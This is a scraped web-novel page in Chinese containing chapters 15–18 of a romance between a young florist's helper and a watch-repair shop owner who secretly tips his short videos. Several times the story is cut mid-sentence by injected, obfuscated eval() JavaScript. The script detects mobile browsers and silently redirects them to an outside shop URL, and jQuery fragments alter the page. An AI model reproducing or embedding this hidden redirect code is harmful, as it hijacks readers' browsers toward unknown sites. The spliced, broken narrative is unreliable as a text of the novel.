“当然,这东西不难,我可以教你啊。你只要勤快细心愿意学就行。” 柜台后的风铃轻轻晃动,叮当作响,混着玫瑰与洋甘菊的清甜香气漫进梁知的鼻腔。 梁知点了下头,说谢谢梅姐。 原本的赶路计划取消,梅姐开始拉着他熟悉花店事宜,从各品种鲜花的养护特性,到剪根技巧,再到不同花材对应的换水频率。 等陆柏安踏入花店时,撞见的便是这样一幅光景。梁知弯着腰,指尖捏着一把银亮的小巧修枝剪,正专注地给一束粉玫瑰做修剪。 他身上套着条米白色围裙,低头时,围裙的领口随着动作轻轻贴向脖颈,纤长的睫毛在眼睑下投出淡淡的扇形阴影,他的指尖捏着花茎,动作很轻柔,仿佛生怕稍一用力就剪坏了。 “小陆。”梅姐的声音打破了室内的静谧。 梁知握着剪子的指节微微收紧,下意识抬眼望去。 陆柏安就站在不远处的木质花架旁,身形挺拔如松,后背在门外斜射进来的阳光里拉出一道利落干净的剪影,他怀里抱着个不大不小的泡沫纸箱。 将泡沫箱搁在小桌上,陆柏安掀开箱盖,里面整整齐齐码着二十多支碎冰冰,还凝着薄薄一层白霜。 “给小五买的,他昨天说要吃。” “买这么多,”梅姐惊诧,“小心他吃坏肚子。” “一天只吃一根就好。” 梅姐从箱子里拿出一支给梁知:“小梁,先歇歇手,吃支棒冰解解暑,剩下的不急着剪。” 梁知握着冰透的棒冰,没有注意到梅姐在他低头撕包装纸的间隙,飞快地冲陆柏安比了个OK的手势。 “送到了,我先走了。”陆柏安的声音传来。 “陆老板。” 陆柏安脚步一顿,转过身来。 梁知捏着撕到一半的包装,问他:“你晚上什么时候关店?” “有事?” “有。” 背着光,梁知看不清陆柏安的神情,只见对方沉默两秒,才吐出三个字:“一直在。” 说完,他转身大跨步走了,梁知继续手上的动作,自然也不知道出了门后的陆柏安走到自己的铺子前,把原本已经关好的卷帘门又拉了起来。 傍晚六点半,夕阳把街道染成暖橙色,梁知走进便民修表铺。 “陆老板,吃饭了吗?” “没。” “那我请你。” 陆柏安手上摆弄螺丝刀的动作一顿,墨色的眼眸里闪过一丝讶异。 梁知:“谢谢你上次来帮我修水管。”不止这些,搬家时搭的手、帮着找工作的人情,一直都没机会好好请对方吃顿饭。 陆柏安盯着他看了片刻,沉默几秒,突然开口:“不是……桂花糕?” 这下轮到梁知诧异,上次在微信上问陆柏安觉得桂花糕味道怎么样后,只收到那句轻描淡写的还行,他还以为对方并不喜欢。 所以……陆柏安的“还行”,是真的还行? 两人对视片刻,陆柏安率先收回目光,起身道:“走吧。” 十分钟后,两人一起走进附近的百乐街菜市场。 菜市场里人声鼎沸,混杂着商贩的吆喝声和蔬菜的清鲜气息。梁知熟门熟路地挑了糯米粉、桂花蜜等需要的食材。 回去的路上他说:“那等我回去做好了给你送来。” “那样就冷了。” “这种天气不会冷。” “我想吃刚出炉的。” 梁知脚步一顿。 “那……” 梁知:“去快餐店?” 陆柏安:“去我家?” 空气瞬间安静下来,只有晚风拂过树叶的沙沙声。 一秒、两秒、三秒,陆柏安猛地偏过头:“去快餐店。” 说着,他突然加快了脚步。 梁知站在原地,眼里闪过一丝轻微的困惑,随即跟了上去。 给林小满发了征求使用快餐店厨房的消息后,梁知用钥匙开了快餐店的卷帘门。 五分钟后,快餐店的后厨亮起暖黄的灯,梁知系上围裙在操作台前忙活起来。糯米粉过筛时簌簌落下,他指尖捏着筛网轻轻晃动,鼻尖偶尔会不自觉地皱一下。 陆柏安站在旁边帮忙搅拌面糊,他沉着一张脸,表面风平浪静,内心在疯狂艹艹艹。 他一定是疯了。 为什么要主动跟梁知提桂花糕?为什么要对梁知脱口而出去他家? 最近真的很不对劲。 他握着打蛋器的手猛地收紧,面糊溅出更多,落在操作台上洇开一小片乳白。 是从把那套空置的房子租出去开始的吧?到底是哪里出了…… “陆老板?” 陆柏安猛地回过神。 “你搅得太急了,面糊要顺着一个方向慢搅才能细腻。”梁知说着,接过打蛋器示范起来,手腕轻轻转动,乳白的面糊在碗里划出柔和的弧度。 陆柏安盯着碗里渐渐变得细腻的面糊,眉头依旧拧着,嘴角绷得紧紧的。 他肯定是鬼上身了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184923|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 上次帮王大爷修冰箱闲聊时对方说过,城郊青雾山深处有位陈道士,朱砂画符、桃木驱邪样样灵验,也许自己该抽个空去跑一趟。 后面梁知没再让陆柏安搭手,只是怕没人说话太过尴尬,时不时找两句话说。 “陆老板今年多少岁?” “28。” “我也是。” “我知道。” 沉默。 “陆老板这个修表铺开多久了?” “几十年了,祖传的。” “那你是土生土长的本地人?” “是。” 沉默。 梁知微微舒了口气,找话题好累,算了。 沉默在狭小的空间里漫了片刻,空气中弥漫着糯米的清香和桂花的甜香,最后倒是陆柏安先开口打破沉寂,声音低沉平缓:“梅姐跟我说,你之后下午都会在她的花店上班。” 梁知微微颔首:“梅姐人很好。” “你之前在大地河那边发传单多久了?” “从在这儿上班开始。” 那么早。 很缺钱? 这个问题再次从陆柏安心底冒出来,在舌尖打了个转,终究还是咽了回去。目光落在他额前的碎发上,那几缕头发被灯光染成了浅棕色,软乎乎地贴在额角。 “你老家是哪的?怎么会想来县里?” “黄泥乡,听说过吗?” “没有。” 梁知毫不意外:“是个很偏的地方,地图上都得放大好几倍才能找到。前阵子那边下了半个月的暴雨,山洪泄洪,老家的土坯房没顶住,给冲垮了。” 于是,他和李月娥、陈福安、陈信几人投奔了在县里落脚的陈迅,但那里不是长久之地。陈迅本就不是踏实过日子的性子,整日除了打牌便是打牌。他与妻子的关系也并不好,也为此嫂子并不欢迎他们。加上他们还有个在上小学的儿子,正是需要安静的年纪。 后面的话他没说给陆柏安听,只道:“所以就来县里了。” 话音刚落,灶上的蒸锅冒出氤氲白汽,带着糯米与桂花交融的甜香弥漫狭小的空间。他抬手掀起锅盖,白汽瞬间涌上来。 蒸锅里,一块块桂花糕饱满莹润,泛着淡淡的米黄,表层撒着的桂花在热气中微微颤动,甜香愈发浓郁。 “好了。” 他用筷子夹起桂花糕,一块块摆进瓷盘,随后递到陆柏安面前。 “刚出炉的。” 陆柏安夹了一筷咬了口,软糯的糯米在舌尖化开。 “怎么样?” “有点甜。” 梁知闻言立刻夹起一块塞进嘴里,原本只是小心翼翼的一小口,细细品了品后,眼里瞬间闪过一丝淡淡的迷茫,又咬了一口。 这次咬得稍大些,他的脸颊微微鼓起来一小块。睫毛垂着,随着缓慢的咀嚼轻动,鼓着的脸颊也跟着泛起细微的起伏。 他抬起眼看向陆柏安,声音含糊不清:“不是很甜。”说完也没多余的表情,睫毛又轻轻垂下去,继续慢慢嚼着。 桂花糕刚够两人份,不多不少刚好光盘。糕是梁知做的,陆柏安便主动揽下了清里厨房的活儿,不过他很少下厨,这种活儿比想象中还繁琐。粘在碗壁上的面糊得用温水泡透才能搓掉,筛网上的糯米粉要细细刷洗才不会残留。 等他擦干手走出后厨时,耗时竟比做桂花糕还久,他看了眼时间,已经八点半了。 梁知还坐在原位,半趴在桌上,上半身微微倾斜。 陆柏安走过去:“走吧。” 对方一动不动。 他俯下身,微微一怔。 梁知睡着了。 他睡得很沉,额前的碎发被呼吸吹得轻轻颤动。冷白的脸颊贴在桌面上,压出浅浅的红痕。那张嘴唇此刻因为刚吃过甜糕而沾着点桂花碎屑。 昨天对方回复他的那个表情突然撞进陆柏安脑海,他盯着那片唇瓣,半晌没动,手指在身侧无意识地蜷起,指甲掐进掌心,带来一阵细微的刺痛,他却像没察觉似的,鬼使神差地缓缓伸出手。 他的动作很轻,指尖先碰到了梁知唇上的桂花碎屑并轻轻蹭了蹭,随后才落在那粒饱满的唇珠上。触感比想象中更软,他下意识用指腹轻轻按了按,唇珠在指尖下微微凹陷,又迅速弹回。 睡梦中的梁知似乎被这细微的触感惊扰,眉头微微蹙了一下,嘴唇无意识地动了动,舌尖轻轻舔过下唇,恰好蹭过陆柏安的指尖。 陆柏安猛地收回手。他站在原地,垂眸盯着自己的食指,指腹上似乎沾了一点亮晶晶的水光。抬眼再看桌上的人,梁知的嘴唇被舌尖舔过之后,也覆着一层薄薄的水光。 视线在指尖与那片唇瓣之间反复跳转,陆柏安喉结狠狠滚了滚。他有些惊愕自己的举动,但同时眼神骤然一凝,黑眸沉沉地锁住梁知的睡颜。 他终于知道是哪里不对劲了。 他没有鬼上身,因为问题根本不出在他身上,而出在梁知身上。 16. 16 梁知醒来的时候视线有些模糊,最先映入眼帘的,是坐在自己身旁的男人。 男人姿态放松地靠着椅背,一只手随意地抱在胸前,另一只手拿着手滑动着。暖黄的灯光勾勒出他利落的侧脸线条,鼻梁高挺,薄唇抿成一条直线,神情有些凌厉。 他一时没反应过来,大脑宕机了几秒,直到对方似乎察觉到他醒了,缓缓转过头来,那双深邃的黑眸直直地看向他时,他才清醒了几分。 哦,是陆老板。 “醒了?”陆柏安声音低沉。 “嗯。”梁知揉了揉有些僵硬的脖子,“抱歉,我睡了多久?” 陆柏安低头看了眼手机屏幕上的时间:“二十分钟。” 梁知撑着桌子慢慢直起身,随手揉了下眼睛,睫毛被揉得有些凌乱。 “抱歉,”他又说了一遍,“昨天睡得比较晚,没想到会在这里睡着。” 陆柏安没接话,只是将手机揣回口袋,站起身时动作顿了顿,目光不经意间扫过梁知刚才趴着的桌面,那里还残留着一小块淡淡的湿痕,是他脸颊压出来的。 他移开视线:“收拾好了,走吧。” “好。” 两人并肩走出快餐店,天已经完全黑了,几颗疏星在云层缝隙里若隐若现,街道两旁的路灯次第亮起,晚风裹着夏夜特有的燥热扑过来,带着路边小吃摊飘来的油烟味。 一路无言,直到走到租房楼下,梁知停下脚步看向陆柏安,语气认真:“陆老板,这段时间真的很谢谢你,你帮了我很多忙。” “不用谢。”顿了顿,陆柏安才继续说,“上去吧。” 梁知点了下头,轻声道:“陆老板,早点休息。” 说完,他转身走进楼道。 陆柏安站在原地,看着他的背影消失在黑暗中才收回目光,面无表情地转身。 看吧,问题根本就不出在他身上。 他摸出烟盒,抽出一根叼在嘴里,橘红色的火苗映亮他冷硬的侧脸。 见面第一天,这人就差点在他面前摔个正着,后来又主动让他帮忙搬家、咨询工作、送桂花糕、送橘子,每次见面,一口一个陆老板,还叮嘱他早点休息。 他会做出那些莫名其妙的举动怪谁呢? 怪梁知,当然怪梁知。 他狠狠吸了口烟,越想心里越不得劲,整个人开始愤愤不平起来。 愤愤不平地摸出手机,愤愤不平地点进视频软件,愤愤不平地找到自己的关注列表,愤愤不平地打开礼物栏,愤愤不平地随机选择一个点下去。 * 梁知是在回到房子里的一个小时后才发现自己又收到了一百的礼物打赏。 此时他刚好套完那条新买的黑丝,打折买来的丝袜质量并不怎么好,才穿了一次,现在只是第二次套上腿,他就发现大腿处勾出了一缕丝。 打赏礼物的还是那个用户886886。这人依旧没给他留过言,评论区里只有系统自动生成的打赏评论。 他把破洞的黑丝稍稍扯了一下使其看起来没那么难堪后,先是十分认真地回复了那条系统评论,发送成功后,陷入了短暂的沉默。 这是他第一次遇到这样的粉丝,短短几天内就给他打赏了六百块,已经能抵一个月房租了。他想起之前刷到其他博主说过,这种大老板需要好好维护,说不定以后还会继续支持。 于是他点开用户886886的主页,按下了关注按钮,想了想,又发了条私信,只有简单两个字:「你好。」 等了几分钟没收到回复,梁知也没多想,可能对方没在线。他穿着破丝袜草草拍了段视频,然后就脱了下来,开始帮陈信按摩。 陈信今天有点奇怪。从他进门开始,就靠在床头没说话,只是一直直勾勾地盯着他。 梁知只当没察觉,默默走到床边,掀开薄被握住陈信的胳膊,指腹按上他僵硬的肩膀,力道由轻到重慢慢揉开。 陈信的眼珠子跟着他的动作转,直到按摩到他的大腿时,才终于打破了沉默。 “知知,刚才去哪了?” 梁知神色平静:“上班。” “是吗?”陈信顿了顿,才又继续,“可是今天比之前回来得都要晚。” 以前梁知差不多会在八点二十左右回家,但是今天晚了足足半个小时。 说着,他的目光缓缓下移,落在了梁知的嘴唇上。不知是不是错觉,那里似乎比平时要红一些,还有一点点肿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184924|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁知神色未变,没说话。 空气安静了几秒,陈信的手指突然一动,碰了碰梁知按在他腿上的手。 “知知,用手帮我好不好?” 梁知抽回手:“还没按完。” “知知是在拒绝我吗?” 梁知还是没说话,只是垂着眼,将手移到陈信的小腿上。 陈信看着他淡淡的神色,愈发觉得那嘴唇刺眼,脑海里突然闪过对方那天和身材高大健壮的男人一起蹲在厨房修水管的场景,声音瞬间冷了下来:“知知真的要这样对我吗?” 梁知的动作微微一顿:“别闹了。” 陈信一向最看重复健,每次他按摩时都很配合,从不会在这种时候提要求,今天不知道在发什么疯。 “我闹?”陈信低笑一声,紧紧盯着他,“知知是不是忘了,我的病是怎么来的?” 梁知瞳孔猛地一缩,手上的动作彻底停下。 空气瞬间凝固,房间里只剩一深一浅的呼吸声。 梁知垂着头,长长的睫毛在眼下投出一小片阴影。喉咙发紧,像被什么东西堵住了,一句话也说不出来。 陈信看着他低垂的眼睫,手指微微蜷了蜷。过了几秒,他的声音低了下去,带着几分歉意:“对不起知知,我不该那样说。”他顿了顿,又补充道,“你不想的话,就不勉强了。” 梁知的肩膀微微地动了动,过了会儿才重新拿起他的腿继续按摩。 终究是什么也没做。 入夜熄了灯,两人躺在同一张床上,梁知身体绷得笔直,缩在最边缘的位置,只要稍微一个翻身就能掉下去。 他睁着眼睛,看着黑暗中模糊的天花板。那里的纹路在夜色里看不真切,像一团散开的墨。 时间好像变慢了,他不知道自己睁着眼睛看了多久,直到手机在黑暗中突然亮了一下,他下意识眯了眯眼。 打开屏幕一看,是用户886886回复了他的私信消息,对方只简单回复了一个「嗯」字。 似乎是个高冷的人。 他的手指悬在屏幕上,不知道要不要继续回复。 沉默间,对话框跳了一下,那边又发来一条消息:「在干嘛?」 17. 17 陆柏安收到消息的时候正在厕所里刷牙,回复了个嗯后那边便没了下文,他才又打了句话。 用户8886886:「在干嘛?」 zz:「看手机。」 用户886886:「好看吗?」 zz:「还行。」 用户886886:「哦。」 用户886886:「准备睡了。」 zz:「我也是。」 陆柏安握着牙刷的手一顿,目光从手机屏幕上移开,面无表情地盯着镜子里的自己。 梁知平时是不是就跟那个病秧子一起睡觉? 那个还不知道叫什么名字的男人,只有过三面之缘,不知道生的什么病,每次都一副虚得快要断气的样子,手不能提肩不能扛,连自己上厕所、洗澡这种事都要人帮忙。 “没眼光。”他用力吐出嘴里的泡沫,随手将手机扔到洗手台旁。 片刻后。 房间陷入黑暗,只剩下窗外隐约透进来的一点月光。他将身体陷进床垫里,慢慢闭上眼。 那病秧子看起来挺严重的,也不知道还能活多久…… * 梁知从第二天起便开始学包花了。 白天在快餐店,下午就去花店,不用再像以前那样坐公交车穿梭半个城市,确实省心不少。 他学得很认真,几天下来进步显著。 这天下午四点半,梅姐准时从幼儿园把梅小五接回花店。与此同时,方桃骑着自行车路过。她刚放学,车筐里塞着课本和粉色书包,看到花店里的梁知时猛地捏紧车闸。 画面一转,两个小孩站在一旁分享着同一根碎冰冰,边吃边目不转睛地盯着梁知的动作。 那双白皙而骨节分明的手剪完洋桔梗,顺手将修剪好的花材归拢到操作台中央。先挑了三支盛放的粉玫瑰做中心,又搭配了几枝浅紫洋桔梗和满天星。 接着,他取过一张米白色的包装纸,裁成合适的大小,一手托着花束,一手将包装纸从底部往上包裹。最后,拿起一卷浅粉色的丝带,在花束根部缠绕了几圈,打了个漂亮的蝴蝶结。 整个过程一气呵成,原本零散的花材转眼间就变成了一束精致的花束。 两个小孩看得入了迷,连手里的碎冰冰都忘了吃,直到梁知举起花束轻轻晃了晃,他们才回过神来,不约而同地发出一声惊叹。 趁着骑手还没来取花,梁知拉了把椅子坐下。梅小五立刻凑过来,把作业本摊在他面前,指着一道算术题皱着小脸:“梁知哥哥,这个等于多少呀?” 梁知拿起铅笔,在草稿纸上画了八个小圆圈,又添了七个:“你看,先数八个,再接着数七个,一共是多少个呀?” 梅小五伸出胖乎乎的小手,一个一个地数着,眼睛一亮:“我知道了,是十五!” “真聪明。” 方桃拉了把塑料小椅子也挨着梁知坐下,咬着笔杆在草稿纸上画了半天线段图,眉头越皱越紧,突然戳了戳梁知:“梁哥哥,我也有题不会。” 梁知低头看向她摊开的五年级黄冈小状元,停顿了好几秒才抬起头,脸上罕见地掠过一丝窘迫:“我也不太会。” “那我明天问问老师。”方桃没太在意,重新在草稿纸上写写画画。 梁知看着她认真的侧脸,突然意识到,上一次他像这样低头看课本,还是在十年前。 十年,足够让他把那些加减乘除和勾股定理弄丢在奔波的岁月里。 他甚至想不起最后一次见到自己的初中毕业证是什么时候,或许是搬家时不小心扔掉了,明明当初那么想继续读高中、考大学,对那本薄薄的小册子格外珍重。 “您有新的美团外卖订单,请及时处理。” 突如其来的提示音像块石头砸进平静的湖面,将梁知从回忆里拽了出来。 他站起身撕下打印机刚吐出来的小票,看清上面的备注,转身投入到新一轮的忙碌中。 . 破的,破的,破的。 与此同时的陆柏安坐在铺子里,手里拿着手机,手指在梁知最新发布的几条视频上反复滑动,屏幕上的人有时穿着黑色丝袜,有时光着腿。但凡是穿丝袜的视频,那条黑色的丝袜在大腿根部都无一例外地破了洞。 他点开一条前几天的视频,暂停,放大。那时破洞还很小,不仔细看几乎察觉不到。可随着更新,那个洞越来越大,边缘的丝线抽了出来,露出底下一截皮肤。 他啧了一声,也不知道在啧什么。 外面突然轰隆一声,他抬头瞥了一眼,一道惨白的闪电划破天空。 他低下头,目光重新落回屏幕,点开与zz的私信界面,上面已经积攒了一些信息,都是他和梁知这几天聊的,不过都是些很没营养的东西。 「早上好。」 「吃了吗?」 「下线了。」 梁知似乎是第一次维护榜一,刚好,陆柏安也是第一次当大哥。两人每天像是在定时打卡完成任务一般,处得比路人还客气。 他想了想,决定好心提醒对方一下,于是打字:「你丝袜破了。」 外面突然传来一阵沙沙声。陆柏安抬头看过去,外面下起了雨。雨幕里,他看见方桃从旁边的推着小自行车跑出来,粉色书包顶在头上,一头冲进了对面的文具店。 他收回目光按下发送键,还没等来回复,就听见门口传来熟悉的声音:“陆老板。” 一抬头,只见他刚发消息的人正站在他的铺子门口。 虽然隔了一段距离,对方看不到他手里的手机,但陆柏安还是下意识把自己的手机倒扣在桌面上。 “怎么了?” “花不知道为什么店突然断电了,你能帮忙过来看看吗?” 陆柏安起身就往外走,到了花店门口便见梅姐和梅小五也在里面。梅姐正低着头包花,因断电光线昏暗,她的动作比平时慢了不少。梅小五正在一旁举着手机帮妈妈打光。 “哎哟,小陆,你可算来了!”梅姐抬头看见他,脸上露出笑容,“这电突然就没了,你快帮姐看看是怎么回事。” 陆柏安应了声朝里走了两步,他到电闸箱旁检查了一下,开关是合上的,不是跳闸。又掏出手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184925|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机打开手电筒,光束照向墙角的配电箱打开开关,果然是里面的保险丝断了。 他身体下意识转了半圈,刚张口还没来得及说话,胳膊肘却猛地撞到了一个温热柔软的东西。 一声极轻的闷哼在黑暗里散开。 陆柏安连忙抬起手机,电筒的光束瞬间打了过去。 梁知就站在他身后,离得近得有些过分。近到陆柏安能看清他被灯光映得格外分明的睫毛,上面还沾着几颗细小雨珠,像碎钻似的闪着光。 一股淡淡的栀子花味,也在这时猝不及防地钻进了陆柏安的鼻腔。 花店里本就花香浓郁,玫瑰的、百合的、茉莉的,交织在一起几乎要将人淹没,可陆柏安偏偏能清晰分辨出属于梁知的那股气味。 他下意识地往后退了半步,拉开了一点距离,原本想说的话卡在喉咙里:“疼?” “没有。”梁知被手电筒光照得微微眯眼,“是不是工具不够?” “嗯。”陆柏安移开手电筒,“麻烦你去我店里拿一下工具箱,桌子左边抽屉里那个。” “好。”梁知应声转身,身影很快消失在门口的雨幕里。 等他提着工具箱回来时,头发上又沾了些雨珠。没等陆柏安开口,他已经主动举起手机帮他照明。 陆柏安收拾着工具,金属碰撞声清脆。梁知蹲在一旁,看着他利落的动作,突然开口:“陆老板,有你不会修的东西吗?” “嗯?” “听林老板说,这一片大家的东西坏了都是来找你,你什么都会。” “多了,飞机、轮船、大炮,这些我都不会。” 旁边的梁知似乎被幽了一默,没有说话。 “不过除了这些,其他的家常用电我确实基本上都会。”陆柏安说着,侧头看了他一眼。 梁知不知道为什么,从陆柏安眼里真看出点求夸的意味。他认真地点了下头,语气真诚:“好厉害。” 也不知道为什么,陆柏安的神色没有变化,但他似乎能感觉到对方对他的回答很满意。 等修完保险丝回到铺子里,陆柏安把工具箱往桌上一放。目光扫过桌角,瞥见一片粉玫瑰花瓣静静蜷着,边缘还凝着点湿润的水汽,像刚从花枝上坠下来不久,一看就知道是谁不小心落这儿的。 指尖捏起花瓣,他无意识地用指腹摩挲着花瓣细腻的纹路,手机忽然在口袋里震动了一下。 林小满:「老陆,跟我拼个团,成团了你再退款。」 下面跟着一串淘宝链接。陆柏安点开,页面跳出来一口铁锅,上次林小满似乎的确是说过店里的锅准备换两口新的。 他回了个OK的手势,按照对方说的操作加入购物车、付款、等待成团。 退出订单界面时,目光无意间扫过下方的“猜你喜欢”推荐栏,他整个人一顿。花花绿绿的图片占满了小半屏幕,画风和他平时浏览的工具、手表配件截然不同。 白色的荷叶边短裙、镂空花纹的露背吊带、高叉露脐的渔网套装、水钻流苏胸链、铃铛装饰的蕾丝项圈、金属鸭嘴扣吊袜夹、丝缎蝴蝶结腿环…… 18. 18 梁知当天下班后没急着回去,在文具店里坐了会儿,没过几分钟方桃从二楼跑下来,怀里抱着一摞书像献宝似的递给他。 “梁哥哥,你先看这本《狼王梦》好不好?超好看的!讲的是狼妈妈拼尽全力培养孩子当狼王的故事。” 梁知说了句好,没急着起身离开,顺势翻开书的扉页。 他已经很多年没有这样静下心看过书了,上一次触碰文字还是签陆柏安那份租房合同时。此刻纸页的温度、文字的肌理,都在悄悄唤醒某种被遗忘的感知。 夕阳透过玻璃窗在书页上投下细碎的光斑,文具店里静得只剩偶尔的翻书轻响。时间悄无声息地溜走,等他反应过来时,已经过去了半个小时。他合上书将书签夹到看到的那一页,然后与方桃道别。 回到租房时,罕见地看见李秀娥和陈福安都在,陈福安这些日子回来得都比较晚。 李秀娥坐在桌旁的小板凳上,背脊微微佝偻,陈福安靠在沙发上不知在想什么,察觉到有人进来,他缓缓抬起头,眼角的皱纹挤成一团。 “回来了。” “嗯。” 梁知扫了室内一圈,目光掠过桌上凉透的搪瓷碗还有两人沉郁的神色,敏锐察觉到气氛不对。他将怀里那摞书放在门边的矮柜上,随即走上前:“怎么了?” 李秀娥吸吸鼻子,眼眶瞬间红了:“知知,你爸他……被工厂给辞了。” 话音落下,屋里陷入短暂的沉默。 陈福安喉结用力滚动了一下,视线死死盯着自己放在膝盖上的双手,那是一双布满老茧、肿大变形的手。 过了好一会儿,他才闷闷地接话:“嫌我老了,手也不利索,做活慢,拖了班组的产量。” 陈福安的手有老毛病,是早年在老家做木工时累出来的,一到阴雨天就疼。以前在老家靠着这双手做木工活,虽慢但胜在精细,慢工出细活,周边的雇主都认他的手艺。 可到了这城里,一切都变了。工厂的流水线要的是速度,是实打实的产量。他这双手半天才能慢慢打磨好的木件,那些年轻小伙子两个小时就能做完。 昏黄的灯光落在陈福安的脸上,将他眼角的皱纹衬得愈发清晰。 梁知垂着眼,睫毛遮住了眼底的情绪,沉默了片刻才缓缓开口:“没事。” 陈福安和李秀娥本就是该在家享清福的年纪,让他们这么大岁数还出去奔波受累,本就是为难他们了。 只是陈福安的工钱虽说不多,却也是家里实打实的进项,能分担不少压力。如今这唯一的活计没了,经济压力瞬间又重了几分。 陈福安重重叹了口气,起身慢慢走到角落里的小床躺下,背对着两人。 李秀娥抬手抹了抹眼角的眼泪,转头看向梁知:“知知,你吃没吃饭?要是没吃,我去给你煮点面条。” 梁知确实没吃晚饭,可眼下半点胃口都没有。他轻轻摇了摇头,避开李秀娥的目光:“不用了妈,我不饿。” 说着,转身走到门边的矮柜旁,抱起那摞书,朝着里间的小房间走去。 房里,陈信坐在床上,脸色苍白得没什么血色,见他进来,轻轻叫了一声知知。 他的目光落在梁知怀里的书上,眼神动了动,问书是哪来的。梁知把书放在床头的小桌上,回头应道,是对面文具店的小女孩借的。 陈信心里装着事,闻言也没再追问,沉默了片刻,才低声开口:“爸的事,你知道了?” 梁知点了下头。 陈信叹气:“都怪我。如果不是因为要治我的病,要花那么多钱,爸也不用这么拼命找活干……” 梁知睫毛剧烈地颤了颤,舌尖用力抵着下唇,几乎要被咬破。 等洗完澡出来,陈信已经躺在床上睡着了,梁知索性关了头顶的灯,屋里彻底陷入黑暗。 他躺在床的另一边,在黑暗中摸索出手机,刚点开视频软件,一条未读消息跳了出来。 用户886886:「你丝袜破了。」 梁知愣了一下,退出去点开自己的主页,翻了翻之前发布的视频,果然看到视频里自己穿的黑色丝袜,破洞比之前大了不少。 他沉默了几秒,指尖在屏幕上敲了敲,回了句谢谢提醒。 消息刚发过去没两秒,那边就跳出了已读的提示,紧接着,用户886886的消息又发了过来:「才看手机?」 梁知慢吞吞地打字回复:「嗯,白天在工作。」打完这句话,他想起对方平时的打赏,觉得有点太冷淡,又十分敬职敬业地补充了一句:「晚上好」。 用户886886:「做的什么工作?」 手机屏幕亮着微光,倒映在梁知的瞳孔里,他顿了顿,斟酌了几秒,敲下「送外卖的」几个字。 屏幕另一头,陆柏安靠在沙发里咬着根烟,看到这几个字差点没乐出声。 用户886886:「你送外卖?」 zz:「嗯。」 用户886886:「那你们送外卖一单能挣多少钱?」 梁知压根没送过,哪里知道一单能挣多少,他没敢瞎回话,转头点开浏览器搜了句外卖员一单能赚多少钱。页面跳出来一堆结果,不同城市、不同时段的价格差得不少。 他扫了眼关键信息,随手合上页面,然后回复:「一般也就三四块一单,看距离和时段。」 用户886886:「累吗?一天大概要送多少单?」 梁知指尖一顿,又点开搜索框,大致摸清了行情,才又回复:「挺累的,正常情况下二三十单,忙的时候能到四十多单。」 用户886886:「渠道是哪来的?直接找平台报名就行吗?要不要交押金?电动车是自己买还是能租?遇到差评会不会扣钱?平台有补贴吗?」 一连串问题像连珠炮似的砸过来,梁知脑子瞬间懵了大半,指尖在屏幕上飞快划动,翻找网页的速度又快了几分。可886却压根没等他回应,见他有一会儿没回复,问题突然话锋一转,变了方向:「你现在在干什么?」 梁知顿了顿,老实回复:「马上要睡觉了。」 用户886886:「这么早?」 梁知瞥了眼时间,刚过九点,确实算早的,他平时大多十点左右才睡。 用户886886:「晚上不用送单?」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184926|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> zz:「今天有事,不送了。」 用户886886:「什么事?」 今天这人的问题格外多,梁知想不通是为什么。打下「有点私事」几个字刚要发送,转念一想对面是自己的榜一大哥,于是又删掉重输,好半天才慢吞吞敲出个答非所问的答案:「丝袜破了。」 那边沉默了几秒,一直没有新消息进来,就在梁知以为这场对话要收尾时,对方的消息再次跳了出来。 「地址。」 * 三天后—— “你看那个新闻了吗?” “什么?” “有个男的,给一个女主播刷礼物,直接刷到倾家荡产,连房子都抵押了,最后还借了高利贷。” “然后?”陆柏安漫不经心地应着,指尖划过屏幕,点开了后台的购物订单,页面上密密麻麻全是待收货。 “然后那主播原本说好了要跟他结婚,结果拿到钱就跑路了,现在人都找不到了。”林小满叹了口气,“你说这主播也太没良心了,骗钱就算了,还骗感情。” “哦。” “哦什么?你就没什么想法?” 陆柏安刚想说话,手机屏幕又亮了一下,跳出一条新的快递取件提醒。从昨天下午到现在,这样的短信已经攒了十五条。 